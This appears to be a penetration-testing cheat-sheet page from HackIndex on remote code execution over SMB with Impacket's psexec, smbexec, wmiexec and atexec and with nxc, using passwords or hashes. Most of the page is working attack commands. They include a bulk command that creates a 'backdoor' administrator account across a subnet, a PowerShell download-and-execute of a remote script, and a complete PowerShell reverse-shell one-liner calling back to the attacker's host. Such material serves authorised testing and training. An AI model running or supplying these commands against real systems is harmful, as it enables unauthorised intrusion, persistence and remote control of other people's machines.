Skip to content
HackIndex logo

HackIndex

SMB Remote Code Execution – psexec smbexec wmiexec

4 min read Mar 11, 2026

With valid credentials or hashes and local admin access on the target, several Impacket tools give you remote code execution over SMB. Each uses a different mechanism with different stealth and reliability trade-offs. Pick based on what is available and how much noise you can afford.

For Pass-the-Hash specifics see https://hackindex.io/services/smb/exploitation/pass-the-hash. The commands here apply equally to plaintext passwords and hashes.

impacket-psexec

psexec uploads a renamed binary to ADMIN$, creates a service to execute it, and drops you into a SYSTEM shell. It is the most reliable but the noisiest — it writes to disk and creates a service entry.

┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP

With a hash:

┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/$USER@$TARGET_IP -hashes :$NTHASH
[*] Requesting shares on 10.10.10.10.....
[*] Found writable share ADMIN$
[*] Uploading file XkTqbCpL.exe
[*] Opening SVCManager on 10.10.10.10.....
[*] Creating service zqJX on 10.10.10.10.....
[*] Starting service zqJX.....
Microsoft Windows [Version 10.0.17763.2114]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

Requires ADMIN$ share access and the ability to create services.

impacket-smbexec

smbexec executes commands by creating a temporary service that runs each command via cmd.exe /Q /c and redirects output to a share. No binary is uploaded to disk. Slower than psexec but leaves less on the filesystem.

┌──(kali㉿kali)-[~]
└─$ impacket-smbexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP

With a hash:

┌──(kali㉿kali)-[~]
└─$ impacket-smbexec $DOMAIN/$USER@$TARGET_IP -hashes :$NTHASH

Runs as SYSTEM. Each command creates and deletes a service — this is still visible in Windows event logs.

impacket-wmiexec

wmiexec uses WMI over a DCOM/RPC connection tunnelled through SMB named pipes. No service is created. Output is written to a temporary file on a share and read back. The most operationally quiet of the three.

┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP

With a hash:

┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec $DOMAIN/$USER@$TARGET_IP -hashes :$NTHASH

Runs as the authenticated user, not SYSTEM. If you need SYSTEM use psexec or smbexec.

Execute a single command without opening an interactive shell:

┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP "whoami /all"

impacket-atexec

atexec schedules a task via the Task Scheduler service over SMB, executes a single command, and retrieves output. Useful when psexec and wmiexec are blocked but the scheduler is accessible.

┌──(kali㉿kali)-[~]
└─$ impacket-atexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP "whoami"

With a hash:

┌──(kali㉿kali)-[~]
└─$ impacket-atexec $DOMAIN/$USER@$TARGET_IP -hashes :$NTHASH "whoami"

Output is returned as a string, not an interactive shell. Use it for one-shot commands — drop a payload or add a user, then connect back via another method.

nxc for Bulk Execution

nxc wraps wmiexec-style execution for running commands across multiple hosts:

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP/24 -u $USER -p $PASSWORD -d $DOMAIN -x "net user backdoor Password123! /add && net localgroup administrators backdoor /add"

PowerShell execution with -X:

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP/24 -u $USER -p $PASSWORD -d $DOMAIN -X "IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/shell.ps1')"

Getting a Reverse Shell

From any of the interactive shells above, drop a reverse shell. Start a listener first:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

From the SMB shell, use PowerShell to call back:

┌──(kali㉿kali)-[~]
└─$ powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('$LHOST',$LPORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Choosing the Right Tool

Use psexec when you need SYSTEM and reliability matters more than stealth. Use wmiexec as the default — it is quieter and runs as the target user which is sometimes needed for accessing user-context resources. Use smbexec when psexec fails due to AV blocking the binary drop. Use atexec for single-command execution when everything else is blocked.

References